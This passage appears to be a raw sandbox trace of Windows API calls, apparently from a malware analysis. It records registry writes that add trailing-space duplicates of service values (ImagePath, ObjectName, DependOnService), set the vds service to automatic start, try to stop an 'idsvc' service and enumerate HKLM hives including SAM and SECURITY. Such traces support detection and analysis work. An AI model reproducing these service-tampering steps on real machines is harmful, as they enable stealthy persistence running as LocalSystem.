lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.241] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.241] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.241] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.242] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.243] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.243] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0255.243] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.243] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.243] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.243] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.243] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.243] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.290] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.290] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.290] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.291] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.291] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0255.291] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e2238*="C:\\Windows\\System32\\vds.exe" [0255.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0255.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0255.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0255.292] LocalFree (hMem=0x7e2238) returned 0x0 [0255.292] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0255.292] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x2) returned 0x8038a0 [0255.292] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0255.293] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0255.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0255.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.294] RegCloseKey (hKey=0x148) returned 0x0 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0255.294] RegCloseKey (hKey=0x150) returned 0x0 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0255.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0255.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0255.294] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0255.294] GetLastError () returned 0x20 [0255.294] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0255.295] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0255.295] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0255.295] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x803990 [0255.295] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0255.296] GetLastError () returned 0x426 [0255.296] CloseServiceHandle (hSCObject=0x803990) returned 1 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0255.296] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.296] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0255.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.297] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.297] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.297] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.297] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.298] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.298] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.298] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0255.299] 